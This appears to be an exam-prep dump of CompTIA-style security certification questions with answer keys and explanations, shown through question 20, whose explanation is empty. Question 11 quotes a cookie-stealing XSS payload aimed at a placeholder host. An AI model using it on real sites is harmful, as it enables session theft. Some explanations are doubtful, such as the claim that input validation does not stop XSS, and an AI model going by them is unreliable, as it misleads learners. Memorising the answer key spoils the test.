

CompTIA RCO-C02 Exam

Volume: 308 Questions

Question No: 1

An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent abnormal application modifications or executions. Which of the following would BEST accomplish this?

- A. Access control lists
- B. SELinux
- C. IPtables firewall
- D. HIPS

Answer: B

Explanation:

The most common open source operating system is LINUX.

Security-Enhanced Linux (SELinux) was created by the United States National Security Agency (NSA) and is a Linux kernel security module that provides a mechanism for supporting access control security policies, including United States Department of Defense-style mandatory access controls (MAC).

NSA Security-enhanced Linux is a set of patches to the Linux kernel and some utilities to incorporate a strong, flexible mandatory access control (MAC) architecture into the major subsystems of the kernel. It provides an enhanced mechanism to enforce the separation of information based on confidentiality and integrity requirements, which allows threats of tampering and bypassing of application security mechanisms to be addressed and enables the confinement of damage that can be caused by malicious or flawed applications.

Incorrect Answers:

A: An access control list (ACL) is a list of permissions attached to an object. An ACL specifies which users or system processes are granted access to objects, as well as what operations are allowed on given objects. ACLs do not enable policy based flexible mandatory access controls to prevent abnormal application modifications or executions.

C: A firewall is used to control data leaving a network or entering a network based on source and destination IP address and port numbers. IP Tables is a Linux firewall. However, it does not enable policy based flexible mandatory access controls to prevent abnormal application modifications or executions.

D: Host-based intrusion prevention system (HIPS) is an installed software package which monitors a single host for suspicious activity by analyzing events occurring within that host. It does not enable policy based flexible mandatory access controls to prevent abnormal application modifications or executions.

References:

https://en.wikipedia.org/wiki/Security-Enhanced_Linux

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Question No: 2

Company ABC's SAN is nearing capacity, and will cause costly downtimes if servers run out disk space. Which of the following is a more cost effective alternative to buying a new SAN?

- A. Enable multipath to increase availability
- B. Enable deduplication on the storage pools
- C. Implement snapshots to reduce virtual disk size
- D. Implement replication to offsite datacenter

Answer: B

Explanation:

Storage-based data deduplication reduces the amount of storage needed for a given set of files. It is most effective in applications where many copies of very similar or even identical data are stored on a single disk.

It is common for multiple copies of files to exist on a SAN. By eliminating (deduplicating) repeated copies of the files, we can reduce the disk space used on the existing SAN. This solution is a cost effective alternative to buying a new SAN.

Incorrect Answers:

A: Multipathing enables multiple links to transfer the data to and from the SAN. This improves performance and link redundancy. However, it has no effect on the amount of data on the SAN.

C: Snapshots would not reduce the amount of data stored on the SAN.

D: Replicating the data on the SAN to an offsite datacenter will not reduce the amount of data stored on the SAN. It would just create another copy of the data on the SAN in the offsite datacenter.

References:

https://en.wikipedia.org/wiki/Data_deduplication

Question No: 3

A systems administrator establishes a CIFS share on a UNIX device to share data to Windows systems. The security authentication on the Windows domain is set to the highest level. Windows users are stating that they cannot authenticate to the UNIX share. Which of the following settings on the UNIX server would correct this problem?

- A. Refuse LM and only accept NTLMv2
- B. Accept only LM
- C. Refuse NTLMv2 and accept LM

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D. Accept only NTLM

Answer: A

Explanation:

In a Windows network, NT LAN Manager (NTLM) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN or LM), an older Microsoft product, and attempts to provide backwards compatibility with LANMAN. NTLM version 2 (NTLMv2), which was introduced in Windows NT 4.0 SP4 (and natively supported in Windows 2000), enhances NTLM security by hardening the protocol against many spoofing attacks, and adding the ability for a server to authenticate to the client.

This question states that the security authentication on the Windows domain is set to the highest level. This will be NTLMv2. Therefore, the answer to the question is to allow NTLMv2 which will enable the Windows users to connect to the UNIX server. To improve security, we should disable the old and insecure LM protocol as it is not used by the Windows computers.

Incorrect Answers:

B: The question states that the security authentication on the Windows domain is set to the highest level. This will be NTLMv2, not LM.

C: The question states that the security authentication on the Windows domain is set to the highest level. This will be NTLMv2, not LM so we need to allow NTLMv2.

D: The question states that the security authentication on the Windows domain is set to the highest level. This will be NTLMv2, not NTLM (version1).

References:

https://en.wikipedia.org/wiki/NT_LAN_Manager

Question No: 4

A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines.

In addition to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules on the VMs. Which of the following will meet this goal without requiring any hardware pass-through implementations?

A. vTPM

B. HSM

C. TPM

D. INE

Answer: A

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Explanation:

A Trusted Platform Module (TPM) is a microchip designed to provide basic security-related functions, primarily involving encryption keys. The TPM is usually installed on the motherboard of a computer, and it communicates with the remainder of the system by using a hardware bus.

A vTPM is a virtual Trusted Platform Module.

IBM extended the current TPM V1.2 command set with virtual TPM management commands that allow us to create and delete instances of TPMs. Each created instance of a TPM holds an association with a virtual machine (VM) throughout its lifetime on the platform.

Incorrect Answers:

B: A hardware security module (HSM) is a physical computing device that safeguards and manages digital keys for strong authentication and provides crypto processing. These modules traditionally come in the form of a plug-in card or an external device that attaches directly to a computer or network server. This solution would require hardware pass-through.

C: A Trusted Platform Module (TPM) is a microchip designed to provide basic security-related functions, primarily involving encryption keys. The TPM is usually installed on the motherboard of a computer, and it communicates with the remainder of the system by using a hardware bus. Virtual machines cannot access a hardware TPM.

D: INE (intelligent network element) is not used for storing cryptographic keys.

References:

https://en.wikipedia.org/wiki/Hardware_security_module

http://researcher.watson.ibm.com/researcher/view_group.php?id=2850

Question No: 5

A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST way to ensure confidentiality of individual operating system data?

- A. Encryption of each individual partition
- B. Encryption of the SSD at the file level
- C. FDE of each logical volume on the SSD
- D. FDE of the entire SSD as a single disk

Answer: A

Explanation:

In this question, we have multiple operating system installations on a single disk. Some operating systems store their boot loader in the MBR of the disk. However, some operating systems install their boot loader outside the MBR especially when multiple operating systems are installed. We need to encrypt as much data as possible but we cannot encrypt the boot loaders. This would prevent the operating systems

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from loading.

Therefore, the solution is to encrypt each individual partition separately.

Incorrect Answers:

B: The question is asking for the BEST way to ensure confidentiality of individual operating system data. Individual file encryption could work but if files are ever added to the operating systems (for updates etc.), you would have to manually encrypt the new files as well. A better solution would be to encrypt the entire partition. That way any new files added to the operating system would be automatically encrypted.

C: You cannot perform full disk encryption on an individual volume. Full disk encryption encrypts the entire disk.

D: FDE of the entire SSD as a single disk would encrypt the boot loaders which would prevent the operating systems from booting.

Question No: 6

After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart.

```
SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);
```

The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the \$USERINPUT variable and a timestamp in the form of MM-DD-YYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart's items?

- A. Input validation
- B. SQL injection
- C. TOCTOU
- D. Session hijacking

Answer: C

Explanation:

In this question, TOCTOU is being exploited to allow the user to modify the temp file that contains the price of the item.

In software development, time of check to time of use (TOCTOU) is a class of software bug caused by changes in a system between the checking of a condition (such as a security credential) and the use of the results of that check. This is one example of a race condition.

A simple example is as follows: Consider a Web application that allows a user to edit pages, and also allows administrators to lock pages to prevent editing. A user requests to edit a page, getting a form which can be used to alter its content. Before the user submits the form, an administrator locks the page, which

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should prevent editing. However, since editing has already begun, when the user submits the form, those edits (which have already been made) are accepted. When the user began editing, the appropriate authorization was checked, and the user was indeed allowed to edit.

However, the authorization was used later, at a time when edits should no longer have been allowed.

TOCTOU race conditions are most common in Unix between operations on the file system, but can occur in other contexts, including local sockets and improper use of database transactions.

Incorrect Answers:

A: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. The exploit in this question is not an example of input validation.

B: SQL injection is a type of security exploit in which the attacker adds Structured Query Language (SQL) code to a Web form input box to gain access to resources or make changes to data. The exploit in this question is not an example of a SQL injection attack.

D: Session hijacking, also known as TCP session hijacking, is a method of taking over a Web user session by obtaining the session ID and masquerading as the authorized user. The exploit in this question is not an example of session hijacking.

References:

https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use

Question No: 7

The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data. Which of the following issues may potentially occur?

- A. The data may not be in a usable format.
- B. The new storage array is not FCoE based.
- C. The data may need a file system check.
- D. The new storage array also only has a single controller.

Answer: B

Explanation:

Fibre Channel over Ethernet (FCoE) is a computer network technology that encapsulates Fibre Channel frames over Ethernet networks. This allows Fibre Channel to use 10 Gigabit Ethernet networks (or higher speeds) while preserving the Fibre Channel protocol.

When moving the disks to another storage array, you need to ensure that the array supports FCoE, not just regular Fiber Channel. Fiber Channel arrays and Fiber Channel over Ethernet arrays use different network connections, hardware and protocols. Fiber Channel arrays use the Fiber Channel protocol over

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a dedicated Fiber Channel network whereas FCoE arrays use the Fiber Channel protocol over an Ethernet network.

Incorrect Answers:

A: It is unlikely that the data will not be in a usable format. Fiber Channel LUNs appear as local disks on a Windows computer. The computer then creates an NTFS volume on the fiber channel LUN. The storage array does not see the NTFS file system or the data stored on it. FCoE arrays only see the underlying block level storage.

C: The data would not need a file system check. FCoE arrays use block level storage and do not check the file system. Any file system checks would be performed by a Windows computer. Even if this happened, the data would be accessible after the check.

D: The new storage array also having a single controller would not be a problem. Only one controller is required.

References:

https://en.wikipedia.org/wiki/Fibre_Channel_over_Ethernet

Question No: 8

Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim's privilege level.

The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?

- A. Integer overflow
- B. Click-jacking
- C. Race condition
- D. SQL injection
- E. Use after free
- F. Input validation

Answer: E

Explanation:

Use-After-Free vulnerabilities are a type of memory corruption flaw that can be leveraged by hackers to execute arbitrary code.

Use After Free specifically refers to the attempt to access memory after it has been freed, which can cause a program to crash or, in the case of a Use-After-Free flaw, can potentially result in the execution of arbitrary code or even enable full remote code execution capabilities.

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According to the Use After Free definition on the Common Weakness Enumeration (CWE) website, a Use After Free scenario can occur when "the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process."

Incorrect Answers:

A: Integer overflow is the result of an attempt by a CPU to arithmetically generate a number larger than what can fit in the devoted memory storage space. Arithmetic operations always have the potential of returning unexpected values, which may cause an error that forces the whole program to shut down. This is not what is described in this question.

B: Clickjacking is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. This is not what is described in this question.

C: A race condition is an undesirable situation that occurs when a device or system attempts to perform two or more operations at the same time, but because of the nature of the device or system, the operations must be done in the proper sequence to be done correctly. This is not what is described in this question.

D: SQL injection is a type of security exploit in which the attacker adds Structured Query Language (SQL) code to a Web form input box to gain access to resources or make changes to data. This is not what is described in this question.

F: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. This is not what is described in this question.

References:

<http://www.webopedia.com/TERM/U/use-after-free.html>

<https://en.wikipedia.org/wiki/Clickjacking>

<http://searchstorage.techtarget.com/definition/race-condition>

Question No: 9

A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?

- A. Client side input validation
- B. Stored procedure
- C. Encrypting credit card details
- D. Regular expression matching

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Answer: D

Explanation:

Regular expression matching is a technique for reading and validating input, particularly in web software. This question is asking about securing input fields where customers enter their credit card details. In this case, the expected input into the credit card number field would be a sequence of numbers of a certain length. We can use regular expression matching to verify that the input is indeed a sequence of numbers. Anything that is not a sequence of numbers could be malicious code.

Incorrect Answers:

A: Client side input validation could be used to validate the input into input fields. Client side input validation is where the validation is performed by the web browser. However this question is asking for the BEST answer. A user with malicious intent could bypass the client side input validation whereas it would be much more difficult to bypass regular expression matching implemented in the application code.

B: A stored procedure is SQL code saved as a script. A SQL user can run the stored procedure rather than typing all the SQL code contained in the stored procedure. A stored procedure is not used for validating input.

C: Any stored credit card details should be encrypted for security purposes. Also a secure method of transmission such as SSL or TLS should be used to encrypt the data when transmitting the credit card number over a network such as the Internet. However, encrypting credit card details is not a way of securing the input fields in an application.

Question No: 10

A security administrator was doing a packet capture and noticed a system communicating with an unauthorized address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network.

Which of the following is the BEST course of action?

- A. Investigate the network traffic and block UDP port 3544 at the firewall
- B. Remove the system from the network and disable IPv6 at the router
- C. Locate and remove the unauthorized 6to4 relay from the network
- D. Disable the switch port and block the 2001::/32 traffic at the firewall

Answer: A

Explanation:

The 2001::/32 prefix is used for Teredo tunneling.

Teredo is a transition technology that gives full IPv6 connectivity for IPv6-capable hosts that are on the IPv4 Internet but have no native connection to an IPv6 network. Unlike similar protocols, it can perform its function even from behind network address translation (NAT) devices such as home routers.

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Teredo provides IPv6 (Internet Protocol version 6) connectivity by encapsulating IPv6 datagram packets within IPv4 User Datagram Protocol (UDP) packets. Teredo routes these datagrams on the IPv4 Internet and through NAT devices. Teredo nodes elsewhere on the IPv6 network (called Teredo relays) receive the packets, decapsulate them, and pass them on. The Teredo server listens on UDP port 3544.

Teredo clients are assigned an IPv6 address that starts with the Teredo prefix (2001::/32).

In this question, the BEST course of action would be to block UDP port 3544 at the firewall. This will block the unauthorized communication. You can then investigate the traffic within the network.

Incorrect Answers:

B: Disabling IPv6 at the router will not help if the IPv6 traffic is encapsulated in IPv4 frames using Teredo. The question also states that there is no IPv6 routing into or out of the network.

C: 6to4 relays work in a similar way to Teredo. However, the addresses used by 6to4 relays start with 2002:: whereas Teredo addresses start with 2001. Therefore, a 6to4 relay is not being used in this question so this answer is incorrect.

D: This question is asking for the BEST solution. Disabling the switch port would take the system connected to it offline and blocking traffic destined for 2001::/32 at the firewall would prevent inbound Teredo communications (if you block the traffic on the inbound interface). However, blocking port UDP 3544 would suffice and investigating the traffic is always a better solution than just disconnecting a system from the network.

References:

https://en.wikipedia.org/wiki/Teredo_tunneling

Question No: 11

A security administrator notices the following line in a server's security log:

```
<input name='credentials' type='TEXT' value='' +request.getParameter  
(("><script>document.location='http://badsite.com/?q='document.cookie</script>')+');
```

The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?

- A. WAF
- B. Input validation
- C. SIEM
- D. Sandboxing
- E. DAM

Answer: A

Explanation:

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The attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a Web Application Firewall.

A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and from the application. Running as an appliance, server plug-in or cloud-based service, a WAF inspects every HTML, HTIPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS, SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns in the traffic data.

A WAF can be either network-based or host-based and is typically deployed through a proxy and placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web application firewalls are a common security control used by enterprises to protect Web applications against zero-day exploits, impersonation and known vulnerabilities and attackers.

Incorrect Answers:

B: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. Input validation is not an effective defense against an XSS attack.

C: Security information and event management (SIEM) is an approach to security management used to provide a view of an organization's IT security. It is an information gathering process; it does not in itself provide security.

D: Sandboxing is a process of isolating an application from other applications. It is often used when developing and testing new application. It is not used to defend against an XSS attack.

E: DAM (digital asset management) is a system that creates a centralized repository for digital files that allows the content to be archived, searched and retrieved. It is not used to defend against an XSS attack.

References:

<http://searchsecurity.techtarget.com/definition/Web-application-firewall-WAF>

Question No: 12

A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the following trusted system concepts can be implemented?

- A. Software-based root of trust
- B. Continuous chain of trust
- C. Chain of trust with a hardware root of trust
- D. Software-based trust anchor with no root of trust

Answer: C

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Explanation:

A Trusted Platform Module (TPM) is a microchip designed to provide basic security-related functions, primarily involving encryption keys. The TPM is usually installed on the motherboard of a computer, and it communicates with the remainder of the system by using a hardware bus.

A vTPM is a virtual Trusted Platform Module; a virtual instance of the TPM.

IBM extended the current TPM V1.2 command set with virtual TPM management commands that allow us to create and delete instances of TPMs. Each created instance of a TPM holds an association with a virtual machine (VM) throughout its lifetime on the platform.

The TPM is the hardware root of trust.

Chain of trust means to extend the trust boundary from the root(s) of trust, in order to extend the collection of trustworthy functions. Implies/entails transitive trust.

Therefore a virtual TPM is a chain of trust from the hardware TPM (root of trust).

Incorrect Answers:

A: A vTPM is a virtual instance of the hardware TPM. Therefore, the root of trust is a hardware root of trust, not a software-based root of trust.

B: The chain of trust needs a root. In this case, the TPM is a hardware root of trust. This answer has no root of trust.

D: There needs to be a root of trust. In this case, the TPM is a hardware root of trust. This answer has no root of trust.

References:

<https://www.cylab.cmu.edu/tiw/slides/martin-tiw101.pdf>

Question No: 13

An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a datacenter failure?

- A. Replicate NAS changes to the tape backups at the other datacenter.
- B. Ensure each server has two HBAs connected through two routes to the NAS.
- C. Establish deduplication across diverse storage paths.
- D. Establish a SAN that replicates between datacenters.

Answer: D

Explanation:

A SAN is a Storage Area Network. It is an alternative to NAS storage. SAN replication is a technology that replicates the data on one SAN to another SAN; in this case, it would replicate the data to a SAN in the backup datacenter. In the event of a disaster, the SAN in the backup datacenter would contain all the data

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on the original SAN.

Array-based replication is an approach to data backup in which compatible storage arrays use built-in software to automatically copy data from one storage array to another. Array-based replication software runs on one or more storage controllers resident in disk storage systems, synchronously or asynchronously replicating data between similar storage array models at the logical unit number (LUN) or volume block level. The term can refer to the creation of local copies of data within the same array as the source data, as well as the creation of remote copies in an array situated off site.

Incorrect Answers:

A: Replicating NAS changes to the tape backups at the other datacenter would result in a copy of the NAS data in the backup datacenter. However, the data will be stored on tape. In the event of a disaster, you would need another NAS to restore the data to.

B: Ensuring that each server has two routes to the NAS is not a viable solution. The NAS is still a single point of failure. In the event of a disaster, you could lose the NAS and all the data on it.

C: Deduplication is the process of eliminating multiple copies of the same data to save storage space.

The NAS is still a single point of failure. In the event of a disaster, you could lose the NAS and all the data on it.

References:

<http://searchdisasterrecovery.techtarget.com/definition/Array-based-replication>

Question No: 14

An application present on the majority of an organization's 1,000 systems is vulnerable to a buffer overflow attack. Which of the following is the MOST comprehensive way to resolve the issue?

A. Deploy custom HIPS signatures to detect and block the attacks.

B. Validate and deploy the appropriate patch.

C. Run the application in terminal services to reduce the threat landscape.

D. Deploy custom NIPS signatures to detect and block the attacks.

Answer: B

Explanation:

If an application has a known issue (such as susceptibility to buffer overflow attacks) and a patch is released to resolve the specific issue, then the best solution is always to deploy the patch.

A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information - which has to go somewhere - can overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common type of security attack on data integrity. In buffer overflow attacks, the extra data may contain codes designed to trigger specific actions, in effect sending new

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instructions to the attacked computer that could, for example, damage the user's files, change data, or disclose confidential information. Buffer overflow attacks are said to have arisen because the C programming language supplied the framework, and poor programming practices supplied the vulnerability.

Incorrect Answers:

A: This question is asking for the MOST comprehensive way to resolve the issue. A HIPS (Host Intrusion Prevention System) with custom signatures may offer some protection against an application that is vulnerable to buffer overflow attacks. However, an application that is NOT vulnerable to buffer overflow attacks (a patched application) is a better solution.

C: This question is asking for the MOST comprehensive way to resolve the issue. Running the application in terminal services may reduce the threat landscape. However, it doesn't resolve the issue. Patching the application to eliminate the threat is a better solution.

D: This question is asking for the MOST comprehensive way to resolve the issue. A NIPS (Network Intrusion Prevention System) with custom signatures may offer some protection against an application that is vulnerable to buffer overflow attacks. However, an application that is NOT vulnerable to buffer overflow attacks (a patched application) is a better solution.

References:

<http://searchsecurity.techtarget.com/definition/buffer-overflow>

Question No: 15

```
select id, firstname, lastname from authors
```

```
User input= firstname= Hack;man
```

```
lastname=Johnson
```

Which of the following types of attacks is the user attempting?

- A. XML injection
- B. Command injection
- C. Cross-site scripting
- D. SQL injection

Answer: D

Explanation:

The code in the question is SQL code. The attack is a SQL injection attack.

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known

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as an attack vector for websites but can be used to attack any type of SQL database.

Incorrect Answers:

A: The code in the question is not XML code. Therefore this is not an XML injection attack so this answer is incorrect.

B: Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell.

The code in the question is not the type of code you would use in a command injection attack.

C: Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users.

The code in the question is not the type of code you would use in an XSS attack.

References:

http://en.wikipedia.org/wiki/SQL_injection

Question No: 16

A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST important?

- A. Insecure direct object references, CSRF, Smurf
- B. Privilege escalation, Application DoS, Buffer overflow
- C. SQL injection, Resource exhaustion, Privilege escalation
- D. CSRF, Fault injection, Memory leaks

Answer: A

Explanation:

Insecure direct object references are used to access data. CSRF attacks the functions of a web site which could access data. A Smurf attack is used to take down a system.

A direct object reference is likely to occur when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key without any validation mechanism which will allow attackers to manipulate these references to access unauthorized data.

Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user's Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the

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unauthorized function has been committed.

A smurf attack is a type of network security breach in which a network connected to the Internet is swamped with replies to ICMP echo (PING) requests. A smurf attacker sends PING requests to an Internet broadcast address. These are special addresses that broadcast all received messages to the hosts connected to the subnet. Each broadcast address can support up to 255 hosts, so a single PING request can be multiplied 255 times. The return address of the request itself is spoofed to be the address of the attacker's victim. All the hosts receiving the PING request reply to this victim's address instead of the real sender's address. A single attacker sending hundreds or thousands of these PING messages per second can fill the victim's T-1 (or even T-3) line with ping replies, bring the entire Internet service to its knees.

Smurfing falls under the general category of Denial of Service attacks -- security attacks that don't try to steal information, but instead attempt to disable a computer or network.

Incorrect Answers:

B: Application DoS is an attack designed to affect the availability of an application. Buffer overflow is used to obtain information. Therefore, the order of importance in this answer is incorrect.

C: Resource exhaustion is an attack designed to affect the availability of a system. Privilege escalation is used to obtain information. Therefore, the order of importance in this answer is incorrect.

D: The options in the other answers (Insecure direct object references, privilege escalation, SQL injection) are more of a threat to data confidentiality than the options in this answer.

References:

http://www.tutorialspoint.com/security_testing/insecure_direct_object_reference.htm

[https://www.owasp.org/index.php/Cross-Site_Request_Forgery_\(CSRF\)_Prevention_Cheat_Sheet](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)

<http://www.webopedia.com/TERM/S/smurf.html>

Question No: 17

A security administrator wants to deploy a dedicated storage solution which is inexpensive, can natively integrate with AD, allows files to be selectively encrypted and is suitable for a small number of users at a satellite office. Which of the following would BEST meet the requirement?

- A. SAN
- B. NAS
- C. Virtual SAN
- D. Virtual storage

Answer: B

Explanation:

A NAS is an inexpensive storage solution suitable for small offices. Individual files can be encrypted by using the EFS (Encrypted File System) functionality provided by the NTFS file system.

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NAS typically uses a common Ethernet network and can provide storage services to any authorized devices on that network.

Two primary NAS protocols are used in most environments. The choice of protocol depends largely on the type of computer or server connecting to the storage. Network File System (NFS) protocol usually used by servers to access storage in a NAS environment. Common Internet File System (CIFS), also sometimes called Server Message Block (SMB), is usually used for desktops, especially those running Microsoft Windows.

Unlike DAS and SAN, NAS is a file-level storage technology. This means the NAS appliance maintains and controls the files, folder structures, permission, and attributes of the data it holds. A typical NAS deployment integrates the NAS appliance with a user database, such as Active Directory, so file permissions can be assigned based on established users and groups. With Active Directory integration, most Windows New Technology File System (NTFS) permissions can be set on the files contained on a NAS device.

Incorrect Answers:

A: A SAN is expensive compared to a NAS and is more suitable for enterprise storage for larger networks.

C: A Virtual SAN is the combined local storage of multiple hypervisor servers (VMware ESXi for example) to create one virtual storage pool. This is not the best solution for a small office.

D: Virtual storage is storage presented by an underlying SAN or group of servers. This is not the best solution for a small office.

References:

<http://infrastructuretechnologypros.com/understanding-storage-technology-part-2-alphabet-soupstorage/>

Question No: 18

At 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or unresponsive. The outage lasts for around 10 minutes, after which everything runs properly again. The administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which of the following is the MOST likely cause of the problem and the BEST solution? (Select TWO).

- A. Add guests with more memory to increase capacity of the infrastructure.
- B. A backup is running on the thin clients at 9am every morning.
- C. Install more memory in the thin clients to handle the increased load while booting.
- D. Booting all the lab desktops at the same time is creating excessive I/O.
- E. Install 10-Gb uplinks between the hosts and the lab to increase network capacity.
- F. Install faster SSD drives in the storage system used in the infrastructure.
- G. The lab desktops are saturating the network while booting.

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H. The lab desktops are using more memory than is available to the host systems.

Answer: D, F

Explanation:

The problem lasts for 10 minutes at 9am every day and has been traced to the lab desktops. This question is asking for the MOST likely cause of the problem. The most likely cause of the problem is that the lab desktops being started at the same time at the beginning of the day is causing excessive disk I/O as the operating systems are being read and loaded from disk storage.

The solution is to install faster SSD drives in the storage system that contains the desktop operating systems.

Incorrect Answers:

A: If a lack of memory was the cause of the problem, the problem would occur throughout the day; not just for the 10 minutes it takes to boot the lab desktops. Therefore adding guests with more memory will not solve the problem so this answer is incorrect.

B: This question is asking for the MOST likely cause of the problem. A backup running on the thin clients at 9am every morning as soon as the lab desktops start up is an unlikely cause of the problem. It is much more likely that the lab desktops starting up at the same time is causing high disk I/O.

C: The lab desktops starting up would not cause memory issues on the thin clients so adding memory will not solve the issue.

E: The lab desktops starting up would not cause network bandwidth issues so increasing the bandwidth will not solve the issue.

G: The lab desktops starting up would not saturate the network.

H: If the lab desktops are using more memory than is available to the host systems, the problem would occur throughout the day; not just for the 10 minutes it takes to boot the lab desktops.

Question No: 19

A security administrator is shown the following log excerpt from a Unix system:

```
2013 Oct 10 07:14:57 web14 sshd[1632]: Failed password for root from 198.51.100.23 port 37914 ssh2
```

```
2013 Oct 10 07:14:57 web14 sshd[1635]: Failed password for root from 198.51.100.23 port 37915 ssh2
```

```
2013 Oct 10 07:14:58 web14 sshd[1638]: Failed password for root from 198.51.100.23 port 37916 ssh2
```

```
2013 Oct 10 07:15:59 web14 sshd[1640]: Failed password for root from 198.51.100.23 port 37918 ssh2
```

```
2013 Oct 10 07:16:00 web14 sshd[1641]: Failed password for root from 198.51.100.23 port 37920 ssh2
```

```
2013 Oct 10 07:16:00 web14 sshd[1642]: Successful login for root from 198.51.100.23 port 37924 ssh2
```

Which of the following is the MOST likely explanation of what is occurring and the BEST immediate response? (Select TWO).

A. An authorized administrator has logged into the root account remotely.

B. The administrator should disable remote root logins.

C. Isolate the system immediately and begin forensic analysis on the host.

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- D. A remote attacker has compromised the root account using a buffer overflow in sshd.
- E. A remote attacker has guessed the root password using a dictionary attack.
- F. Use iptables to immediately DROP connections from the IP 198.51.100.23.
- G. A remote attacker has compromised the private key of the root account.
- H. Change the root password immediately to a password not found in a dictionary.

Answer: C, E

Explanation:

The log shows six attempts to log in to a system. The first five attempts failed due to 'failed password'. The sixth attempt was a successful login. Therefore, the MOST likely explanation of what is occurring is that a remote attacker has guessed the root password using a dictionary attack.

The BEST immediate response is to isolate the system immediately and begin forensic analysis on the host. You should isolate the system to prevent any further access to it and prevent it from doing any damage to other systems on the network. You should perform a forensic analysis on the system to determine what the attacker did on the system after gaining access.

Incorrect Answers:

A: It is unlikely that an authorized administrator has logged into the root account remotely. It is unlikely that an authorized administrator would enter an incorrect password five times.

B: Disabling remote root logins is not the best course of action. The attacker has already gained access to the system so potentially the damage is already done.

D: The log does not suggest a buffer overflow attack; the failed passwords suggest a dictionary attack.

F: Using iptables to immediately DROP connections from the IP 198.51.100.23 is not the best course of action. The attacker has already gained access to the system so potentially the damage is already done.

G: The log does not suggest a remote attacker has compromised the private key of the root account; the failed passwords suggest a dictionary attack.

H: Changing the root password is a good idea but it is not the best course of action. The attacker has already gained access to the system so potentially the damage is already done.

Question No: 20

A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage? (Select TWO).

- A. A full-system backup should be implemented to a third-party provider with strong encryption for data in transit.

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- B. A DLP gateway should be installed at the company border.
- C. Strong authentication should be implemented via external biometric devices.
- D. Full-tunnel VPN should be required for all network communication.
- E. Full-drive file hashing should be implemented with hashes stored on separate storage.
- F. Split-tunnel VPN should be enforced when transferring sensitive data.

Answer: B, D

Explanation:

